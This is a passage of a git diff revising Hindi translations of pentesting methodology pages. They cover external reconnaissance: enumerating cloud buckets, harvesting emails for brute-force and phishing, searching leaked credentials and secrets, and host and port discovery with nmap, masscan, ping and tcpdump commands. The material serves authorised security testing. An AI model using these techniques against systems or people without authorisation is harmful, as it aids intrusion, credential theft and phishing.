स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). @@ -494,15 +494,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **Screenshots** -अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरुआत कहाँ से करें** यह नहीं जानते। तो, इसे सरल बनाते हैं और बस सभी के **स्क्रीनशॉट** लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं। +अब जब आपने **सभी वेब सर्वर** खोज लिए हैं जो दायरे में हैं (कंपनी के **IPs** और सभी **डोमेन** और **सबडोमेन** के बीच) तो शायद आप **शुरू करने के लिए नहीं जानते**। तो, इसे सरल बनाते हैं और बस सभी के स्क्रीनशॉट लेना शुरू करते हैं। बस **मुख्य पृष्ठ** पर **नज़र डालकर** आप **अजीब** एंडपॉइंट्स पा सकते हैं जो अधिक **संवेदनशील** हो सकते हैं। प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।** -इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **क्या संभावित रूप से कमजोरियों को शामिल कर सकता है**, और क्या नहीं। +इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **कौन सी संभावित रूप से कमजोरियां** हो सकती हैं, और कौन सी नहीं। -## सार्वजनिक क्लाउड संपत्तियाँ +## Public Cloud Assets -किसी कंपनी की संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड्स की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "", <"subdomain_names">`। +किसी कंपनी के संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "", <"subdomain_names">`। आपको **बकेट्स में उपयोग किए जाने वाले सामान्य शब्दों** की वर्डलिस्ट भी चाहिए: @@ -514,91 +514,91 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।** -याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हों तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**। +याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हैं तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**। -### **कमजोरियों की खोज** +### **Looking for vulnerabilities** यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उनका उपयोग करना चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं। -## ईमेल +## Emails -दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने के लिए सबसे अच्छे लगे हैं: +दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने में सबसे अच्छे लगे हैं: - [**theHarvester**](https://github.com/laramies/theHarvester) - APIs के साथ - [**https://hunter.io/**](https://hunter.io/) का API (फ्री संस्करण) - [**https://app.snov.io/**](https://app.snov.io/) का API (फ्री संस्करण) - [**https://minelead.io/**](https://minelead.io/) का API (फ्री संस्करण) -### **कमजोरियों की खोज** +### **Looking for vulnerabilities** ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** प्रदान करेंगे, जो फिशिंग अभियान के लिए उपयोगी है। -## क्रेडेंशियल लीक +## Credential Leaks -**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित अतीत में लीक हुए क्रेडेंशियल्स की खोज शुरू कर सकते हैं: +**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित **लीक हुए क्रेडेंशियल्स** की खोज शुरू कर सकते हैं: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **कमजोरियों की खोज** +### **Looking for vulnerabilities** -यदि आप **मान्य लीक** हुए क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है। +यदि आप **मान्य लीक हुए** क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है। -## सीक्रेट्स लीक +## Secrets Leaks -क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है: +क्रेडेंशियल लीक उन हैक्स से संबंधित हैं जहां **संवेदनशील जानकारी लीक और बेची गई** थी। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है: -### गिटहब लीक +### Github Leaks क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी के **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\ आप **उपकरण** [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं। **Leakos** का उपयोग सभी **पाठ** प्रदान किए गए **URLs** पर **gitleaks** चलाने के लिए भी किया जा सकता है क्योंकि कभी-कभी **वेब पृष्ठों में भी रहस्य होते हैं**। -#### गिटहब डॉर्क्स +#### Github Dorks -संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें जिन्हें आप उस संगठन में भी खोज सकते हैं जिसे आप लक्षित कर रहे हैं: +आप जिस संगठन पर हमला कर रहे हैं, उसमें संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें: {{#ref}} github-leaked-secrets.md {{#endref}} -### पेस्ट लीक +### Pastes Leaks कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\ आप **Pastos** नामक उपकरण का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं। -### गूगल डॉर्क्स +### Google Dorks -पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** [**Gorks**](https://github.com/carlospolop/Gorks) **उन्हें सभी चलाने के लिए**। +पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरी हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण का उपयोग कर सकते हैं** **उन सभी को चलाने के लिए**। _ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_ -### **कमजोरियों की खोज** +### **Looking for vulnerabilities** -यदि आप **मान्य लीक** हुए क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है। +यदि आप **मान्य लीक हुए** क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है। -## सार्वजनिक कोड कमजोरियाँ +## Public Code Vulnerabilities -यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं। +यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं। -**भाषा के आधार पर** आपके पास उपयोग करने के लिए विभिन्न **उपकरण** हो सकते हैं: +**भाषा के आधार पर** आप विभिन्न **उपकरणों** का उपयोग कर सकते हैं: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -कुछ मुफ्त सेवाएँ भी हैं जो आपको **सार्वजनिक रिपॉजिटरी** को **स्कैन** करने की अनुमति देती हैं, जैसे: +सार्वजनिक रिपॉजिटरी को **स्कैन** करने के लिए भी मुफ्त सेवाएँ हैं, जैसे: - [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html) -**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/index.html)। +**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती हैं, वे **वेब अनुप्रयोगों** के अंदर होती हैं, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/index.html)। -मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स उपकरण**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी** प्राप्त करने के लिए कार्यप्रवाह में लागू करने के लिए सहायक होते हैं। +मैं [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** -## पुनरावलोकन +## Recapitulation > बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि और भी बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)। @@ -611,19 +611,19 @@ _ध्यान दें कि जो उपकरण नियमित Goog 5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है। 6. सभी **वेब सर्वर** को खोज लिया है और उनके **स्क्रीनशॉट** लिए हैं (क्या कुछ अजीब है जो गहराई से देखने लायक है?) 7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है। -8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं। -9. आपने जो भी वेब खोजी है, उसका **पेंटेस्टिंग** किया है। +8. **ईमेल**, **क्रेडेंशियल लीक**, और **गुप्त लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं। +9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया है। -## **पूर्ण पुनः खोज स्वचालित उपकरण** +## **Full Recon Automatic Tools** -कुछ उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को करेंगे। +वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों का एक भाग करेंगे। - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) - [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - थोड़ा पुराना और अपडेट नहीं किया गया -## **संदर्भ** +## **References** - [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 7bb8f3e89..79616c5de 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -4,16 +4,16 @@ -## Discovering hosts from the outside +## बाहर से होस्ट खोजने के लिए -यह एक **संक्षिप्त अनुभाग** है कि **इंटरनेट** से **प्रतिक्रिया देने वाले IPs** को कैसे खोजें।\ +यह **संक्षिप्त अनुभाग** है कि **इंटरनेट** से **प्रतिक्रिया देने वाले IPs** को कैसे खोजें।\ इस स्थिति में आपके पास कुछ **IP का दायरा** (शायद कई **रेंज** भी) है और आपको बस यह पता करना है कि **कौन से IPs प्रतिक्रिया दे रहे हैं**। ### ICMP यह यह पता लगाने का **सबसे आसान** और **तेज़** तरीका है कि कोई होस्ट चालू है या नहीं।\ आप कुछ **ICMP** पैकेट भेजने की कोशिश कर सकते हैं और **प्रतिक्रिया की उम्मीद** कर सकते हैं। सबसे आसान तरीका बस एक **इको अनुरोध** भेजना और प्रतिक्रिया की उम्मीद करना है। आप इसे एक साधारण `ping` का उपयोग करके या **रेंज** के लिए `fping` का उपयोग करके कर सकते हैं।\ -आप **nmap** का उपयोग करके अन्य प्रकार के ICMP पैकेट भी भेज सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)। +आप **nmap** का उपयोग करके अन्य प्रकार के ICMP पैकेट भेजने के लिए भी उपयोग कर सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)। ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -21,8 +21,8 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP Port Discovery -यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप केवल **खुले पोर्ट खोजने** का प्रयास कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\ -फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **सबसे अधिक उपयोग किए जाने वाले पोर्ट्स** की एक सूची की आवश्यकता है: +यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप **खुले पोर्ट खोजने** की कोशिश कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\ +फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **अधिक उपयोग किए जाने वाले पोर्टों** की एक सूची की आवश्यकता है: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 @@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` ### UDP पोर्ट खोज -आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **होस्ट** पर **अधिक ध्यान** देना चाहिए या नहीं। चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, इसलिए यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आजमाना चाहिए: +आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **एक होस्ट पर अधिक ध्यान देना चाहिए।** चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आज़माना चाहिए: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20मिनट** लगेंगे। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20मिनट** लगेंगे। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए, यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP पोर्ट खोज ```bash @@ -99,15 +99,15 @@ alive6 # Send a pingv6 to multicast. ### Active ICMP ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) में टिप्पणी की गई तकनीकें **यहां भी लागू की जा सकती हैं**।\ -लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं: +लेकिन, चूंकि आप **अन्य होस्टों** के **साथ उसी नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं: -- यदि आप **ping** एक **subnet broadcast address** करते हैं, तो पिंग **प्रत्येक होस्ट** तक पहुंचनी चाहिए और वे **आपको** **उत्तर** दे सकते हैं: `ping -b 10.10.5.255` -- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर होस्ट भी खोज सकते हैं: `ping -b 255.255.255.255` -- होस्ट खोज करने के लिए `nmap` के `-PE`, `-PP`, `-PM` फ्लैग का उपयोग करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- यदि आप **subnet broadcast address** को **ping** करते हैं, तो पिंग **प्रत्येक होस्ट** तक पहुंचनी चाहिए और वे **आपको** **उत्तर** दे सकते हैं: `ping -b 10.10.5.255` +- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर भी होस्ट पा सकते हैं: `ping -b 255.255.255.255` +- होस्ट खोज करने के लिए `nmap` के `-PE`, `-PP`, `-PM` फ्लैग्स का उपयोग करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan का उपयोग **नेटवर्क संदेश** के माध्यम से कंप्यूटरों को **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें एक **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\ +Wake On Lan का उपयोग **नेटवर्क संदेश** के माध्यम से कंप्यूटरों को **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\ फिर इस प्रकार के पैकेट आमतौर पर **ethernet 0x0842** में या **UDP पैकेट को पोर्ट 9** में भेजे जाते हैं।\ यदि **कोई \[MAC]** प्रदान नहीं किया गया है, तो पैकेट **broadcast ethernet** पर भेजा जाता है (और ब्रॉडकास्ट MAC वही होगा जो दोहराया जाएगा)। ```bash @@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 UDP पोर्ट को स्कैन करने के लिए 2 विकल्प हैं: -- एक **UDP पैकेट** भेजें और _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें यदि पोर्ट **बंद** है (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)। +- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)। - एक **फॉर्मेटेड डेटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है। **Nmap** दोनों विकल्पों को "-sV" का उपयोग करके **मिश्रित** करेगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन TCP स्कैन की तुलना में धीमे होते हैं: @@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है। +**SCTP (Stream Control Transmission Protocol)** को **TCP (Transmission Control Protocol)** और **UDP (User Datagram Protocol)** के साथ उपयोग करने के लिए डिज़ाइन किया गया है। इसका मुख्य उद्देश्य IP नेटवर्क पर टेलीफोनी डेटा के परिवहन को सुविधाजनक बनाना है, जो **Signaling System 7 (SS7)** में पाए जाने वाले कई विश्वसनीयता सुविधाओं को दर्शाता है। **SCTP** **SIGTRAN** प्रोटोकॉल परिवार का एक मुख्य घटक है, जिसका उद्देश्य IP नेटवर्क पर SS7 संकेतों का परिवहन करना है। -**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेलीकम्युनिकेशन और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है। +**SCTP** के लिए समर्थन विभिन्न ऑपरेटिंग सिस्टम द्वारा प्रदान किया जाता है, जैसे **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, और **VxWorks**, जो टेली संचार और नेटवर्किंग के क्षेत्र में इसकी व्यापक स्वीकृति और उपयोगिता को दर्शाता है। nmap द्वारा SCTP के लिए दो अलग-अलग स्कैन प्रदान किए जाते हैं: _-sY_ और _-sZ_ ```bash @@ -182,7 +182,7 @@ nmap-summary-esp.md ### आंतरिक IP पतों का खुलासा -**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है। +**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफ़ेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है। ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -194,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 Sniffing के माध्यम से आप IP रेंज, सबनेट आकार, MAC पते, और होस्टनाम के विवरण जान सकते हैं, कैप्चर किए गए फ्रेम और पैकेट की समीक्षा करके। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक पर तनाव है, तो हमलावर पासिव नेटवर्क स्निफ़िंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं। -यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और सामग्री देखेंगे जो आपके MAC पते के लिए निर्धारित है। +यदि एक स्विच किया गया ईथरनेट नेटवर्क सही तरीके से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम और 